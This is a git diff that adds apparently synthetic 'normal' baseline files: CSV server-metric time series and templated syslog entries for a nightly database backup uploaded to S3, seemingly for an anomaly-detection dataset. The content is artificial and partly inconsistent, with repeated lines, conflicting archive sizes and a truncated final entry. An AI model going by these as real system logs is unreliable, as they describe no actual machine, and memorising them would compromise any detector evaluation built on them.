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+2025-08-14T02:07:20Z,15.190554280222097,41.49253789909512,32.38558235458272,1.0016168781020445,0.6858003139515967 +2025-08-14T02:07:25Z,14.541479200214628,37.60915370256327,31.078899681677203,0.9637610828679074,0.9158039213728543 diff --git a/norm_dataset/scenario_1/norm_1_2.log b/norm_dataset/scenario_1/norm_1_2.log new file mode 100644 index 0000000000000000000000000000000000000000..ed61e8b26b3fcb599e5f9cac739b5b35448839bd --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_2.log @@ -0,0 +1,12 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:50 CRON[13579]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 02:01:40 CRON[24680]: (root) CMD (sh /opt/scripts/nightly-backup.sh) +Aug 14 02:01:45 backup-script[24682]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:50 backup-script[24682]: INFO: Starting database dump... +Aug 14 02:03:45 backup-script[24682]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:50 backup-script[24682]: INFO: Compressing file system data... +Aug 14 02:04:10 backup-script[24682]: INFO: Compression complete. Starting upload to S3. +Aug 14 02:06:40 backup-script[24682]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:45 backup-script[24682]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:05 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_20.csv b/norm_dataset/scenario_1/norm_1_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..16c35bc997266b8890bc952102b428187c668a58 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,10.99,45.19,23.13,1.29,1.1 +2025-08-14T02:00:05Z,9.72,46.94,15.71,0.71,1.31 +2025-08-14T02:00:10Z,11.3,43.6,14.65,1.23,0.98 +2025-08-14T02:00:15Z,13.05,44.34,22.41,1.0,1.08 +2025-08-14T02:00:20Z,9.53,44.22,18.88,0.8,1.14 +2025-08-14T02:00:25Z,9.53,42.07,23.57,1.09,0.92 +2025-08-14T02:00:30Z,13.16,45.59,22.37,1.04,1.04 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Archive size 50GB. +Aug 14 2:04:35 backup-script[9101]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 2:07:05 backup-script[9101]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 2:07:10 backup-script[9101]: INFO: 'nightly-backup-task' completed successfully. +Aug 14 2:07:25 systemd[1]: daily-clean.timer: Succeeded. diff --git a/norm_dataset/scenario_1/norm_1_21.csv b/norm_dataset/scenario_1/norm_1_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..df0a55220a7fa047f6e204a8486585f3e7a43241 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.530654882964992,44.5466726621733,21.524452203305692,1.5327691972500603,1.4594681822231448 +2025-08-14T02:00:05Z,14.349277131777766,41.46568041868469,19.29477472129663,2.01992148595134,1.4540970802451898 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+2025-08-14T02:06:50Z,25.27425152609383,41.76713275985293,26.144444383158305,1.691710165157483,57.522345486182985 +2025-08-14T02:06:55Z,26.28478232737209,36.63577076913923,31.736471821173502,1.594271574711811,60.68129393199183 +2025-08-14T02:07:00Z,17.921095315482912,43.801108041929076,26.71082979795608,1.375415259326103,1.3183507121454445 +2025-08-14T02:07:05Z,14.346979838578271,42.01634795890133,17.704194751964316,1.3161614840474094,1.0799493371023001 +2025-08-14T02:07:10Z,14.94261426416124,40.23160544302199,28.439006414553266,1.2926434924481567,1.8674958595855553 +2025-08-14T02:07:15Z,16.69862737101417,40.923667695755675,27.25313780997745,1.5370207660975492,1.65735259301535 +2025-08-14T02:07:20Z,12.99849914320149,39.52875707747351,21.02272252556414,1.003082907197998,1.104871597814345 +2025-08-14T02:07:25Z,17.41353358289104,39.422252743314246,36.57611108060425,1.576144319229843,1.524370968923586 diff --git a/norm_dataset/scenario_1/norm_1_21.log b/norm_dataset/scenario_1/norm_1_21.log new file mode 100644 index 0000000000000000000000000000000000000000..bdd032496884e8c774e1a0ac5735d0abecefa869 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_21.log @@ -0,0 +1,12 @@ +Aug 14 02:00:05 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:45 CRON[1233]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 02:01:00 cron[1234]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:05 backup-script[5678]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:10 backup-script[5678]: INFO: Reading filesystem for backup. +Aug 14 02:03:00 backup-script[5678]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:05 backup-script[5678]: INFO: Compressing backup archive. +Aug 14 02:04:10 sshd[6789]: Accepted publickey for user from 192.168.1.10 port 2222 +Aug 14 02:05:00 backup-script[5678]: INFO: Compression complete. Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:07:00 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:05 backup-script[5678]: INFO: Nightly backup job finished successfully. +Aug 14 02:07:20 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_1/norm_1_22.csv b/norm_dataset/scenario_1/norm_1_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..a98d62bfb2ccf446c1a359eb9f53d519427f333b --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,8.75,37.99,19.51,0.73,1.23 +2025-08-14T02:00:05Z,6.56,38.01,10.58,1.56,1.37 +2025-08-14T02:00:10Z,5.21,36.06,19.7,0.77,1.33 +2025-08-14T02:00:15Z,6.83,37.16,13.04,0.94,1.02 +2025-08-14T02:00:20Z,11.12,36.83,11.39,1.18,0.79 +2025-08-14T02:00:25Z,12.85,37.96,12.0,0.57,1.01 +2025-08-14T02:00:30Z,11.08,39.74,11.71,1.95,0.57 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+2025-08-14T02:07:15Z,12.01,38.53,10.73,0.62,1.32 +2025-08-14T02:07:20Z,5.85,36.85,19.87,1.72,0.87 +2025-08-14T02:07:25Z,14.47,36.88,19.86,0.63,1.25 diff --git a/norm_dataset/scenario_1/norm_1_22.log b/norm_dataset/scenario_1/norm_1_22.log new file mode 100644 index 0000000000000000000000000000000000000000..51cd31630aabb00c8d43a29c2b6ed83aab773e32 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_22.log @@ -0,0 +1,12 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:35 web-app[1337]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 CRON[8021]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:01 systemd[1]: Starting 'nightly-backup-task'... +Aug 14 02:01:05 backup-script[8025]: INFO: Starting nightly full backup. +Aug 14 02:03:30 backup-script[8025]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:35 backup-script[8025]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:06:00 backup-script[8025]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:05 backup-script[8025]: INFO: Nightly backup finished successfully. +Aug 14 02:06:10 systemd[1]: 'nightly-backup-task' finished. +Aug 14 02:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 14 02:07:45 web-app[1337]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_23.csv b/norm_dataset/scenario_1/norm_1_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..8c178079db6e923bbd722dd2bc0b72662552443c --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,4.01,34.43,12.0,0.48,0.59 +2025-08-14T02:00:05Z,6.05,35.98,10.19,0.36,0.37 +2025-08-14T02:00:10Z,4.77,33.94,9.49,0.38,0.47 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activities... +Aug 14 02:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:20 CRON[6490]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:30 backup.sh[7802]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:05:25 backup.sh[7802]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:06:40 backup.sh[7802]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz diff --git a/norm_dataset/scenario_1/norm_1_24.csv b/norm_dataset/scenario_1/norm_1_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c2e567f36257e6b3402b34c864c04c97009a00e --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.530654882964992,41.638313929779464,24.910672667644576,0.795318958917807,0.60174655484562 +2025-08-14T02:00:05Z,14.349277131777766,38.689956560825976,29.504435970122465,1.1050050449916835,0.8205952665866798 +2025-08-14T02:00:10Z,15.186815499817278,41.10830379245073,33.79865495357662,1.5551915607007745,0.9075692571896385 +2025-08-14T02:00:15Z,16.574311748058438,40.393255883642006,32.1082068924199,0.6549624709518997,0.6246750811267442 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+2025-08-14T02:07:15Z,16.889361449061873,38.92289873536667,32.09191239280598,0.951911732164292,0.9573525930153501 +2025-08-14T02:07:20Z,13.185026825081016,38.789474135620615,24.27185918401728,1.2553688988454499,0.5 +2025-08-14T02:07:25Z,14.889188136473418,40.6747262770996,38.337984338462086,1.2536086860643274,0.8243709689235861 diff --git a/norm_dataset/scenario_1/norm_1_24.log b/norm_dataset/scenario_1/norm_1_24.log new file mode 100644 index 0000000000000000000000000000000000000000..fb7c045ee01ef2efbe0586171a31b67de94f129d --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_24.log @@ -0,0 +1,13 @@ +Aug 14 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:15 systemd[1]: Started session 123 of user root. +Aug 14 02:01:35 CRON[4451]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:40 backup-script[4455]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:45 backup-script[4455]: INFO: Starting database dump from pg_prod... +Aug 14 02:03:10 kernel: [1122.334] oom_reaper: reaped process 3122 (some-process), score 0 +Aug 14 02:03:20 backup-script[4455]: INFO: Database dump complete. Starting compression of 50GB data. +Aug 14 02:04:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:05:00 backup-script[4455]: INFO: Compression complete. Archive size 15GB. Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:06:40 backup-script[4455]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:45 backup-script[4455]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:05 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_25.csv b/norm_dataset/scenario_1/norm_1_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..0884b97a565f311c2907d3c6bad652e092c09111 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,11.530654882964992,36.55549520944567,14.882973972945175,1.4546672662173303,0.783184657772033 +2025-08-14T02:00:05Z,9.349277131777766,34.08032044203615,22.62512612479209,1.1465680418684694,0.8566604155091588 +2025-08-14T02:00:10Z,10.186815499817278,34.84284157459391,33.87978901751936,0.6870259374846106,0.8831605899668549 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+2025-08-14T02:06:55Z,11.230778487512737,33.20309039950223,18.19043193760794,0.757894827124123,0.7471591454302197 +2025-08-14T02:07:00Z,13.415302027912503,36.731896128078304,25.945722124197026,1.1349452554199204,0.6183507121454446 +2025-08-14T02:07:05Z,10.029831700583067,31.942767015323124,32.231075114713526,1.055925240045913,0.37994933710230017 +2025-08-14T02:07:10Z,11.746670973422143,30.18815461247098,21.533808965568557,1.2156276234862713,1.1674958595855554 +2025-08-14T02:07:15Z,13.778697938224763,31.162665447826807,18.595965068521647,0.6576258008201282,0.9573525930153501 +2025-08-14T02:07:20Z,14.166632337958374,39.30482940130008,24.48628438813243,1.2150436377723572,0.4048715978143452 +2025-08-14T02:07:25Z,11.000961926491602,31.988139020121327,21.00554163581645,1.114038172109078,0.8243709689235861 diff --git a/norm_dataset/scenario_1/norm_1_25.log b/norm_dataset/scenario_1/norm_1_25.log new file mode 100644 index 0000000000000000000000000000000000000000..d421cebf9420c687d31260607248275e4bfb2055 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_25.log @@ -0,0 +1,24 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:40 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:35 CRON[4815]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:40 run-parts[4817]: starting nightly-backup-task +Aug 14 02:02:45 backup-script[4819]: INFO: Starting nightly full backup. +Aug 14 02:02:45 backup-script[4819]: INFO: Reading data from production database 'prod-db'. +Aug 14 02:03:45 backup-script[4819]: INFO: Compressing database dump and application files. +Aug 14 02:04:25 backup-script[4819]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:25 backup-script[4819]: INFO: Starting upload to remote storage s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:05:15 backup-script[4819]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:05:15 backup-script[4819]: INFO: Backup job completed successfully. +Aug 14 02:05:20 run-parts[4817]: finished nightly-backup-task +Aug 14 02:05:30 systemd[1]: Starting session cleanup... +Aug 14 02:06:00 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 14 02:06:25 systemd[1]: Starting session cleanup... +Aug 14 02:06:40 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 14 02:07:20 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 14 02:07:20 systemd[1]: Starting session cleanup... \ No newline at end of file diff --git a/norm_dataset/scenario_1/norm_1_26.csv b/norm_dataset/scenario_1/norm_1_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..08ce2697cb88c0d66a668040732c75ed0058afc6 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,9.42,37.83,5.79,0.91,0.54 +2025-08-14T02:00:05Z,13.98,36.89,5.38,0.66,0.78 +2025-08-14T02:00:10Z,7.53,42.14,4.46,0.94,0.7 +2025-08-14T02:00:15Z,10.52,38.91,4.57,1.16,0.81 +2025-08-14T02:00:20Z,10.25,37.08,5.02,0.94,0.63 +2025-08-14T02:00:25Z,9.11,43.26,5.89,1.14,0.83 +2025-08-14T02:00:30Z,10.2,35.76,4.94,0.88,0.84 +2025-08-14T02:00:35Z,10.26,37.42,5.62,0.95,0.97 +2025-08-14T02:00:40Z,9.83,41.32,5.43,1.25,0.62 +2025-08-14T02:00:45Z,7.96,41.26,4.56,1.11,0.77 +2025-08-14T02:00:50Z,12.5,39.59,4.55,1.09,0.77 +2025-08-14T02:00:55Z,8.69,40.28,5.44,1.13,0.52 +2025-08-14T02:01:00Z,12.37,43.0,5.71,1.05,1.25 +2025-08-14T02:01:05Z,30.61,42.47,5.23,0.84,0.89 +2025-08-14T02:01:10Z,38.23,36.87,10.36,0.85,0.59 +2025-08-14T02:01:15Z,39.23,39.11,18.3,1.18,0.82 +2025-08-14T02:01:20Z,36.25,43.08,31.95,0.9,0.81 +2025-08-14T02:01:25Z,30.59,40.72,42.47,0.99,0.89 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02:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 CRON[8821]: (root) CMD (run-parts /etc/cron.daily/backup-task) +Aug 14 02:01:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:02:30 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:03:45 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:04:00 backup-script[8823]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:06:00 backup-script[8823]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 02:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_27.csv b/norm_dataset/scenario_1/norm_1_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..6ed33945f09c2bab96bface730819f27ef9ccdd4 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-14T02:07:20Z,12.99849914320149,39.52875707747351,3.4090890102256575,0.7546243607969971,0.6048715978143451 +2025-08-14T02:07:25Z,17.41353358289104,39.422252743314246,9.630444432241699,1.6142164788447646,1.024370968923586 diff --git a/norm_dataset/scenario_1/norm_1_27.log b/norm_dataset/scenario_1/norm_1_27.log new file mode 100644 index 0000000000000000000000000000000000000000..a7a068f00cae86d96c044d7f00825c42690dcb37 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_27.log @@ -0,0 +1,13 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:45 web-app[2143]: GET /api/v1/health status=200 OK +Aug 14 02:01:20 CRON[8891]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:21 systemd[1]: Starting Daily Backup Job... +Aug 14 02:01:23 backup-script[8905]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:25 backup-script[8905]: INFO: Starting database dump from pg-primary-1. +Aug 14 02:02:35 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-7d6f +Aug 14 02:05:00 backup-script[8905]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:02 backup-script[8905]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:06:10 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-a4b1 +Aug 14 02:07:05 backup-script[8905]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:07 backup-script[8905]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:25 web-app[2143]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_28.csv b/norm_dataset/scenario_1/norm_1_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..39a36a32cfc2f3655b69061cbd59a3716e507a8c --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,5.5,30.19,11.88,0.64,0.55 +2025-08-14T02:00:05Z,4.86,31.94,7.43,0.36,0.65 +2025-08-14T02:00:10Z,5.65,28.6,6.79,0.62,0.49 +2025-08-14T02:00:15Z,6.52,29.34,11.45,0.5,0.54 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+2025-08-14T02:07:00Z,4.19,30.55,9.24,0.5,0.37 +2025-08-14T02:07:05Z,4.5,31.65,6.26,0.4,0.57 +2025-08-14T02:07:10Z,5.92,30.03,14.9,0.5,0.54 +2025-08-14T02:07:15Z,5.33,32.91,5.71,0.47,0.41 +2025-08-14T02:07:20Z,4.47,29.47,8.68,0.53,0.45 +2025-08-14T02:07:25Z,5.51,35.0,10.39,0.42,0.39 diff --git a/norm_dataset/scenario_1/norm_1_28.log b/norm_dataset/scenario_1/norm_1_28.log new file mode 100644 index 0000000000000000000000000000000000000000..fe28745effc62cc86ec27ba938343358596cccde --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_28.log @@ -0,0 +1,17 @@ +Aug 14 02:00:05 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 sshd[2231]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 14 02:01:00 backup-script[2110]: INFO: Starting nightly full backup. +Aug 14 02:01:00 cron[2108]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:40 backup-script[2110]: INFO: Reading database tables... +Aug 14 02:02:05 kernel: [18234.54] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 14 02:02:55 backup-script[2110]: INFO: Compressing data... +Aug 14 02:03:20 systemd[1]: Started Session 12 of user root. +Aug 14 02:04:00 backup-script[2110]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:00 backup-script[2110]: INFO: Starting upload to remote storage. +Aug 14 02:04:35 CRON[3452]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 02:05:25 backup-script[2110]: INFO: Upload progress: 50%. +Aug 14 02:05:50 kernel: [18394.12] audit: type=1400 audit(1755018650.123:45): apparmor="DENIED" operation="open" +Aug 14 02:07:00 backup-script[2110]: INFO: Backup job completed successfully. +Aug 14 02:07:00 backup-script[2110]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:20 cron[2108]: INFO: Job 'nightly-backup-task' finished. +Aug 14 02:07:25 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_1/norm_1_29.csv b/norm_dataset/scenario_1/norm_1_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..76e1a458f39ef5674d0dd16fef7635909e22c0e4 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_29.csv @@ -0,0 +1,91 @@ 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+2025-08-14T02:07:15Z,6.197705989235225,45.99623283998855,21.906523864533817,1.3018978177550586,0.9543073089913854 +2025-08-14T02:07:20Z,2.1709591647824933,42.42637918120809,0.0,1.1993047421229819,5.46829319634236 +2025-08-14T02:07:25Z,11.319752639847259,44.280029982931886,44.45919917327141,0.704030967193275,6.150969957170176 diff --git a/norm_dataset/scenario_1/norm_1_29.log b/norm_dataset/scenario_1/norm_1_29.log new file mode 100644 index 0000000000000000000000000000000000000000..54b188d3e62f8538f56f7fffd34d8757a2fd7a97 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_29.log @@ -0,0 +1,13 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:25 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:00:55 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 CRON[12345]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:01 backup-script[12346]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:05 backup-script[12346]: INFO: Reading file system for backup... +Aug 14 02:02:35 backup-script[12346]: INFO: Compressing /var/www/html... +Aug 14 02:03:30 backup-script[12346]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:35 backup-script[12346]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:05:55 backup-script[12346]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:00 backup-script[12346]: INFO: Nightly backup completed successfully. +Aug 14 02:06:40 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:07:10 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_3.csv b/norm_dataset/scenario_1/norm_1_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..21284e55c102ae56528447399ad768d01c56f20a --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,7.62,36.2,13.41,1.31,0.89 +2025-08-14T02:00:05Z,11.66,42.13,11.13,1.31,1.14 +2025-08-14T02:00:10Z,10.12,42.61,19.25,1.37,0.96 +2025-08-14T02:00:15Z,9.19,40.61,18.77,1.41,1.05 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+2025-08-14T02:06:55Z,5.44,37.26,15.18,0.66,0.87 +2025-08-14T02:07:00Z,7.18,41.45,18.77,0.57,1.31 +2025-08-14T02:07:05Z,7.28,36.74,17.41,1.14,1.45 +2025-08-14T02:07:10Z,10.11,41.91,16.97,0.53,1.49 +2025-08-14T02:07:15Z,9.46,38.87,17.02,1.09,1.25 +2025-08-14T02:07:20Z,11.21,44.37,13.59,1.44,0.88 +2025-08-14T02:07:25Z,8.31,36.38,12.94,1.08,0.58 diff --git a/norm_dataset/scenario_1/norm_1_3.log b/norm_dataset/scenario_1/norm_1_3.log new file mode 100644 index 0000000000000000000000000000000000000000..5acc50def38b1cd5d8fa7daa8c3ce44c88f6c2ef --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_3.log @@ -0,0 +1,9 @@ +Aug 14 02:00:25 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 14 02:01:15 CRON[3105]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:20 backup-script[3108]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:25 backup-script[3108]: INFO: Starting database dump... +Aug 14 02:04:50 backup-script[3108]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:00 backup-script[3108]: INFO: Compressing filesystem data... +Aug 14 02:06:45 backup-script[3108]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:50 backup-script[3108]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:20 systemd[1]: Finished daily apt upgrade and clean activities. diff --git a/norm_dataset/scenario_1/norm_1_30.csv b/norm_dataset/scenario_1/norm_1_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..bfef365f8e0430665f9f61bd884d850daa4f1ea4 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,13.01,37.13,35.0,0.96,0.99 +2025-08-14T02:00:05Z,17.1,44.92,30.48,0.72,0.53 +2025-08-14T02:00:10Z,14.55,34.69,28.72,0.77,0.75 +2025-08-14T02:00:15Z,13.86,36.28,97.34,0.82,0.59 +2025-08-14T02:00:20Z,21.15,34.94,93.86,0.99,0.86 +2025-08-14T02:00:25Z,9.98,38.97,77.33,0.54,0.81 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+2025-08-14T02:07:05Z,15.27,38.87,28.13,1.01,79.67 +2025-08-14T02:07:10Z,17.35,36.85,26.61,1.2,78.78 +2025-08-14T02:07:15Z,16.78,36.39,34.95,0.9,84.16 +2025-08-14T02:07:20Z,15.89,37.47,24.3,1.25,0.57 +2025-08-14T02:07:25Z,18.46,42.83,30.17,1.08,0.85 diff --git a/norm_dataset/scenario_1/norm_1_30.log b/norm_dataset/scenario_1/norm_1_30.log new file mode 100644 index 0000000000000000000000000000000000000000..700fdb00aa93af1a41415260c58c5d553ed6fa8b --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_30.log @@ -0,0 +1,17 @@ +Aug 14 02:00:05 CRON[4123]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:00:10 run-parts[4125]: starting nightly-backup-task for /etc/cron.daily +Aug 14 02:00:15 nightly-backup[4128]: INFO: Starting job 'nightly-backup-task' +Aug 14 02:00:20 nightly-backup[4128]: INFO: Starting database dump from pg_prod... +Aug 14 02:01:05 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 14 02:02:30 sshd[4201]: Accepted publickey for user admin from 10.0.1.15 port 2222 ssh2: RSA SHA256:xyz +Aug 14 02:03:00 nightly-backup[4128]: INFO: Database dump complete. Size: 35GB. +Aug 14 02:03:05 nightly-backup[4128]: INFO: Backing up file system from /var/www/html... +Aug 14 02:04:10 kernel: [11345.123] TCP: eno1: link up, 1000Mbps, full-duplex, lpa 0x45E1 +Aug 14 02:05:00 nightly-backup[4128]: INFO: File system backup complete. Size: 15GB. +Aug 14 02:05:05 nightly-backup[4128]: INFO: Compressing backup archive... +Aug 14 02:06:00 nightly-backup[4128]: INFO: Compression complete. Archive size 50GB. +Aug 14 02:06:05 nightly-backup[4128]: INFO: Uploading to s3://prod-backups/full-20250814.tar.gz... +Aug 14 02:06:40 systemd[1]: Finished daily apt upgrade and clean activities. +Aug 14 02:07:20 nightly-backup[4128]: INFO: 